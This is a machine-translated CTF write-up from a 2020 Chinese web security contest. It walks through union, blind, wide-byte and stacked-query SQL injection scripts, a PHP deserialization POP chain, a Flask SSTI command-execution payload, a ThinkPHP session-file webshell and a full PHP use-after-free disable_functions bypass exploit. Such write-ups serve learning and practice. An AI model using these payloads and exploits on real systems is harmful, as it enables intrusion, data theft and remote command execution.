Foreword
Recently because of the epidemic, how did not go out at home, i just held a Spring platform 2020新春战疫网络安全公益赛
. Sao learned some gesture, the chefs are tql. . .
DAY1
Simple Recruitment System
Open the pages found to be a login box, direct registration account login into it. You find that you need administrator login to unlock new features.
Xss there for a long time, to no avail. . . .
Finally, back to the landing page, use the universal password, Noto found in, but I just registered the account, then re-issued the title ,, direct universal password, it found success landed administrator account.
New Features page, found injected, can be injected into the joint by
no filter is normally injected into the joint, to enable pouring out flag
the test in the field found echo of 2
1' union select 1,database(),3,4,5#
nzhaopin
1' union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()#
backup,flag,user
1' union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema=database()#
id,safekey,profile,id,flaaag,id,username,password,safekey,profile
1' union select 1,group_concat(flaaag),3,4,5 from flag#
flag{9cbb834c-0562-4503-a703-0d2092a220bc}
ezupload
Relatively simple one topic
open found file upload, you can upload Trojans files directly. . .
And then do system('/readflag');
you can get flag
a
Read the source code, write the code found overturned (2333333)
[Picture dump outside the chain fails, the source station may have a security chain mechanism, it is recommended to save the pictures uploaded directly down (img-g50fFt8M-1582612938441) ( https: // s2. ax1x.com/2020/02/24/33BYJx.png)]
Mekurachu
Open Source page found:
<?php
# flag在fl4g里
include 'waf.php';
header("Content-type: text/html; charset=utf-8");
$db = new mysql();
$id = $_GET['id'];
if ($id) {
if(check_sql($id)){
exit();
} else {
$sql = "select * from flllllllag where id=$id";
$db->query($sql);
}
}
highlight_file(__FILE__);
Here we find an injection, as well as waf
the parameters will output filter. The main thing is there is no echo data. . . We can consider that the delay injection. .
?id=if(1,sleep(3),1)
It can cause a delay effect.
Filtration tests found a lot of things:' % = < > * into load_file outfile like union select insert
Found that filters out some operators, we can use REGEXP
instead.
Here to tell us flag在fl4g里
also save a lot of steps we can directly obtainflag
Roughly test this idea 1 and if(fl4g REGEXP "a",sleep(4),1)%23
,
the script:
import requests
import time
url = "http://13922ac12da24dc2863fae519bd12b33160484bcc8a748bd.changame.ichunqiu.com/?id="
str_1 = '0123456789abcdefgl[]-'
flag= 'flag{'
for j in range(100):
print j
for i in str_1:
payload = '1%20and%20if(fl4g%20REGEXP%20"'+flag+i+'",sleep(5),1)%23'
url_1 = url +payload
try:
res = requests.get(url_1,timeout=3)
except requests.exceptions.ReadTimeout:
flag += i
print flag
break
flag{efa5f746-1914-4013-94c6-44f8184985dd}
babyphp
Open the page is a landing page, try universal password to no avail, and then scan the directory and found the source www.zip
[Picture dump outside the chain fails, the source station may have a security chain mechanism, it will be saved directly upload images (img-hCYqgmU9- 1582612938443) (https://s2.ax1x.com/2020/02/23/33JS2j.png)]
Source of the audit:
update.php
<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}
?>
As long as the successful landing you can get flag
, so we find a way to structurePOP链
We lookUser类
class User
{
public $id;
public $age=null;
public $nickname=null;
...
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){
return file_get_contents($this->nickname);//危
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
User类
Where getNewInfo
there is a filter, it is to replace some dangerous functions
User类
exist __destruct
and __toString
two magic methods. destruct
Direct file is read, and __toString
is when User
as a string break out when it will call this function, $this->nickname->update($this->age);
we have to find what update
method
class dbCtrl
{
public function update($sql)
{
//还没来得及写
}
}
Found that there is no function, we have to search a bit __call
magic method
Info
in the presence of a __call
so when the call $Info->update
time because Info类
there is no update
this method, it will trigger the magic methods__call
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
The __call
magic method callsecho $this->CtrlCase->login($argument[0]);
It found that dbCtrl
class has login
methods
class dbCtrl
{
...
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}
Here found here login($sql)
can be our control. We can inject your administrator password.
We look at this Info类
,
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
It found that only parameters we can control age
and nickname
yet come out here more than one property $CtrlCase
, if we use the escape character deserialization, this property can be controlled. Just safe
this function to us deserialization may have escaped.
Construction about:
<?php
error_reporting(0);
session_start();
class dbCtrl
{
public $token;
public function __construct(){
$this->token = 'admin';
}
}
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
Class Info{
public $CtrlCase;
public function __construct(){
$this->CtrlCase = new dbCtrl();
}
}
Class User{
public $nickname=null;
public $age=null;
public function __construct(){
$this->nickname = new Info();
$this->age='select password,id from user where username="admin"';
}
}
Class UpdateHelper{
public $sql;
public function __construct(){
$this->sql= new User();
}
}
$a = new UpdateHelper();
// echo serialize($a);
$res = '";s:8:"CtrlCase";' . serialize($a) . '}' . "\n";
echo $res;
//";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":1:{s:5:"token";s:5:"admin";}}s:3:"age";s:51:"select password,id from user where username="admin"";}}}
This payload
a 222 characters. A *
is filtered into hacker
the 5 characters can be extruded, select 44 *
and three union
, of the final compositionpayload
age=1&nickname=********************************************unionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":1:{s:5:"token";s:5:"admin";}}s:3:"age";s:51:"select password,id from user where username="admin"";}}}
[Image dump the chain fails, the source station may have security chain mechanism, it is recommended to save the picture down uploaded directly (img-On4sjUf8-1582612938447) (https://s2.ax1x.com/2020/02/24/330qqH.png )]
Online decoding can get the administrator's password, landing on i can get flag
a
flag{aa934a2e-666f-4669-bf94-1e6c6e6d9397}
DAY2
easysqli_copy
Open questions, find the source code is given:
<?php
function check($str)
{
if(preg_match('/union|select|mid|substr|and|or|sleep|benchmark|join|limit|#|-|\^|&|database/i',$str,$matches))
{
print_r($matches);
return 0;
}
else
{
return 1;
}
}
try
{
$db = new PDO('mysql:host=localhost;dbname=pdotest','root','******');
}
catch(Exception $e)
{
echo $e->getMessage();
}
if(isset($_GET['id']))
{
$id = $_GET['id'];
}
else
{
$test = $db->query("select balabala from table1");
$res = $test->fetch(PDO::FETCH_ASSOC);
$id = $res['balabala'];
}
if(check($id))
{
$query = "select balabala from table1 where 1=?";
$db->query("set names gbk");
$row = $db->prepare($query);
$row->bindParam(1,$id);
$row->execute();
}
It found that the use of the PDO mode, think of a big brother article of SQL injection under the PDO scenes to explore , discover, and this is very similar.
Here filtering a lot of things
if(preg_match('/union|select|mid|substr|and|or|sleep|benchmark|join|limit|#|-|\^|&|database/i',$str,$matches))
Found that normal injection means have been filtered. .
I thought I could use to circumvent these restrictions by converting hexadecimal.
Since there is no echo of the page where it can be considered a delay injection.
select sleep(1)
Hexadecimal representation as:0x73656C65637420736C656570283129
$db->query("set names gbk");
See here to set the character set gbk
, the first thought is to inject bytes wide.
In summary, the test found that:
id=1%df%27%20;set%20@x=0x73656C65637420736C656570283129;prepare%20a%20from%20@x;execute%20a;
Such delay effect can be obtained
script:
import requests
import re
import time
import sys
reload(sys)
sys.setdefaultencoding("utf8")
def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])
def hex_to_str(s):
return ''.join([chr(i) for i in [int(b, 16) for b in s.split(' ')]])
url = "http://c8a6cd9388a04664b7695f43a2489372bae05b16de4e4793.changame.ichunqiu.com//?id=1%df%27%20;set%20@x=0x"
flag = ""
for j in range(1,100):
print j
for i in range(32,128):
# sql = 'select if((ascii(substr(database(),'+str(j)+',1))>'+str(i)+'),1,sleep(100))'
#payload="select if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+str(j)+",1))="+str(i)+"),sleep(4),1)"
#print(payload)
#payload="select if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='table1'),"+str(j)+",1))="+str(i)+"),sleep(4),1)"
sql = "select if((ascii(substr((select group_concat(fllllll4g) from table1),"+str(j)+",1))="+str(i)+"),sleep(4),1)"
# print sql
hex_sql = str_to_hex(sql)
url_1 = url+hex_sql+';prepare%20a%20from%20@x;execute%20a;'
# print url_1
# exit()
try:
res = requests.get(url_1,timeout=4)
except requests.exceptions.ReadTimeout:
flag +=chr(i)
print flag
break
blacklist
Open the topic and found a topic of special strong network cup similar.
[Image dump the chain fails, the source station may have security chain mechanism, it is recommended to save the picture down uploaded directly (img-h28g1KjF-1582612938452) ( https://s2.ax1x.com/2020/02/22/3Q83gx.png )]
but more rigorous filtering this subject:
the idea of the last strong network cup that question gave filtered. .
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
We can be found in the table name payload: -1';show tables;
:
[Image dump outside the chain fails, the source station may have a security chain mechanism, it is recommended to save the pictures uploaded directly down (img-9ZiughAA-1582612938455) ( https://s2.ax1x.com/ 2020/02/22 / 3QGcS1.png) ]
We can find flag
tables where
Through access to information, I found an interesting thing handler
Mysql query -handler
handler
Use:
mysql> handler user open;
Query OK, 0 rows affected (0.00 sec)
mysql> handler user read first;
+----+-------+-------+
| id | name | pass |
+----+-------+-------+
| 1 | admin | admin |
+----+-------+-------+
1 row in set (0.00 sec)
mysql> handler user read next;
+----+------+------+
| id | name | pass |
+----+------+------+
| 2 | root | root |
+----+------+------+
1 row in set (0.00 sec)
mysql> handler user close;
Query OK, 0 rows affected (0.00 sec)
We can do the same look.
Get payload:
-1';handler `FlagHere` open;handler `FlagHere` read first;#
[Image dump the chain fails, the source station may have security chain mechanism, it is recommended to save the picture down uploaded directly (img-JvDZARVZ-1582612938457) (https://s2.ax1x.com/2020/02/22/3QJpfs.png )]
Ezsqli
Open Title
[image dump outer link fails, the source station may have security chain mechanism, it is recommended to save the picture down uploaded directly (img-ZT5HMbwO-1582612938462) ( https://s2.ax1x.com/2020/02/22/3QthwT .png)]
Found input 1
echoHello Nu1L
Input 2
EchoHello CQGAME
When we enter 2-1
echoHello Nu1L
There is injected into the discovery. 2-(ascii(substr(database(),1,1))>1)
This can detect database name.
Which also filters out some string
sleep,instr,benchmark,format,insert,bin,substring,ord,and,in,or,xor
Wherein union
and select
alone is not filtered, is used together with an illegal character determined. . .
Since the filter in
, we can not use information_schema
the library we want to query the table name and the field name.
We need to look at the new features of MySQL5.7
由于performance_schema过于发杂,所以mysql在5.7版本中新增了sys schemma,基础数据来自于performance_chema和information_schema两个库,本身数据库不存储数据。
I also found an article bypass information_schema
By the article says we can talk sys.schema_table_statistics_with_buffer
to query the table name.
Construction payload:
2-(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),1,1))>1)
So that we can construct out of the table name f1ag_1s_h3r3_hhhhh
.
In the case we know the table name, the original idea was not listed can be injected, but the filtering union select
join
and so saddened by
Found between attempts:
2 - (ascii(substr((select count(*) f1ag_1s_h3r3_hhhhh),1,1))=49)
you can get only one data table
2 - (ascii(substr((select count(id) f1ag_1s_h3r3_hhhhh),1,1))=49)
The table can be obtained present id
value1
In the attempt, he discovered a coquettish pose:
mysql> select (select 1,0x01,3)>(select * from user limit 1);
+------------------------------------------------+
| (select 1,0x01,3)>(select * from user limit 1) |
+------------------------------------------------+
| 0 |
+------------------------------------------------+
1 row in set (0.00 sec)
mysql> select (select 1,0xff,3)>(select * from user limit 1);
+------------------------------------------------+
| (select 1,0xff,3)>(select * from user limit 1) |
+------------------------------------------------+
| 1 |
+------------------------------------------------+
1 row in set (0.00 sec)
So you can try to get Flag:
payload:
2-(select (select 1,0x01)>(select * from f1ag_1s_h3r3_hhhhh limit 1))
Finally, attach the script:
import requests
def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])
url = "http://86ad8e55dd3244b488826b4cf0924ce4b5a885066be143a0.changame.ichunqiu.com/index.php"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
flag=''
for j in range(1,100):
for i in range(32,126):
print i
payload = "id=2-(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),"+str(j)+",1))<"+str(i)+")"
# a = str_to_hex(chr(i))
# payload = "id=2-(select (select 1,0x"+str_to_hex(flag)+a+")>(select * from f1ag_1s_h3r3_hhhhh limit 1))"
res = requests.post(url=url,data=payload,headers=headers)
# print payload
# print res.text
# exit()
if "Hello Nu1L" in res.text:
flag += chr(i-1)
print flag
break
DAY3
Flaskapp
[Image dump the chain fails, the source station may have security chain mechanism, it is recommended to save the picture down uploaded directly (img-m51sJD2h-1582612938467) (https://s2.ax1x.com/2020/02/23/33i3p4.png )]
This is a base64 encryption and decryption website
Guess test ssti
${{1+1}}
It is base64 encoded and then get on the site with the decryption tool decoding:
[Image dump the chain fails, the source station may have security chain mechanism, it is recommended to save the picture down uploaded directly (img-oQvZHhE7-1582612938469) (https://s2.ax1x.com/2020/02/23/33AI3D.png )]
We found echo, and then try construct payload: execute commands. .
There is also some filtering, when there is an illegal character input,
[the chain images dumping fails, the source station may have security chain mechanism, it is recommended to save the picture down uploaded directly (img-6kSEaSbK-1582612938473) ( https: // s2 .ax1x.com / 2020/02/23 / 33EHRU.png)]
Get payload:{{{}.__class__.__base__.__subclasses__()[103].__init__.__globals__['__builtins__']['ev'+'al']("__imp"+"ort_"+"_('o"+"s').po"+"pen('ls').read()")}}
Command can be executed:
[image dump the chain fails, the source station may have security chain mechanism, it is recommended to save the picture down uploaded directly (img-H0Ts0H5u-1582612938476) ( https://s2.ax1x.com/2020/02/23 /33Az8S.png)]
Reading flag
file:{{{}.__class__.__base__.__subclasses__()[103].__init__.__globals__['__builtins__']['ev'+'al']("__imp"+"ort_"+"_('o"+"s').po"+"pen('cat this_is_the_fl'+'ag.txt').read()")}}
[Image dump the chain fails, the source station may have security chain mechanism, it is recommended to save the picture down uploaded directly (https://s2.ax1x.com/2020/02/23/33Vomd.png (img-p8wbqGOW-1582612938480) )]
easy_thinking
Open Title:
[image dump the chain fails, the source station may have security chain mechanism, it is recommended to save the picture down uploaded directly (img-G5WAACgo-1582612938483) ( https://s2.ax1x.com/2020/02/23/ 33np0H.png)]
Source found www.zip
, by testing found:
[image dump the chain fails, the source station may have security chain mechanism, it is recommended to save the picture down uploaded directly (img-BcNRd6GG-1582612938485) ( https://s2.ax1x.com/2020 /02/23/33utRP.png)]
Is a thinkphp6.0.0
former version of this paragraph has just burst out of a loophole reference link , a wave detection.
Our normal registration, login, found the page search function, but can not find anything. . .
In http://123.57.212.112:7892/runtime/session/
this catalog, we find the stored session
files.
[Image dump the chain fails, the source station may have security chain mechanism, it is recommended to save the picture down uploaded directly (img-x0kafR9B-1582612938486) ( https://s2.ax1x.com/2020/02/23/33KVeg.png )]
Open the corresponding file and found just what we look for when stored inside.
So we can upload a Trojan file.
When we landed, modify PHPSESSID
the values change 102cf8246d140a73584c0e6c02b8.php
, after the successful landing will be in http://123.57.212.112:7892/runtime/session/
this directory, find the file, and then the horse is to write into it.
[Image dump the chain fails, the source station may have security chain mechanism, it is recommended to save the picture down uploaded directly (https://s2.ax1x.com/2020/02/23/33K2tA.png (img-IwSAcfop-1582612938487) )]
Access the file, find the Trojan successfully written:
[Image dump the chain fails, the source station may have security chain mechanism, it is recommended to save the picture down uploaded directly (img-YjCGEven-1582612938488) (https://s2.ax1x.com/2020/02/23/33K77Q.png )]
But can not execute system commands. . . Because disable_functions
[Picture dump outside the chain fails, the source station may have a security chain mechanism, it is recommended to save the pictures uploaded directly down (https://s2.ax1x.com/2020/02/23/33KLhn (img-fbiT7iz4-1582612938489). png)]
this prohibits the use of too many mail,error_log
of these have been disabled, and had come up with the ancestral artifacts. . .
<?php
pwn("cd / &&./readflag");
function pwn($cmd) {
global $abc, $helper;
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $text_size) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $text_size) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
class ryat {
var $ryat;
var $chtg;
function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}
class Helper {
public $a, $b, $c, $d;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if you get segfaults
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);
$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();
$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
?>
This will be uploaded to the server, you can execute the command, and it has been visited flag
.
flag{4424232f-959f-4923-b693-cd9b3e7e316f}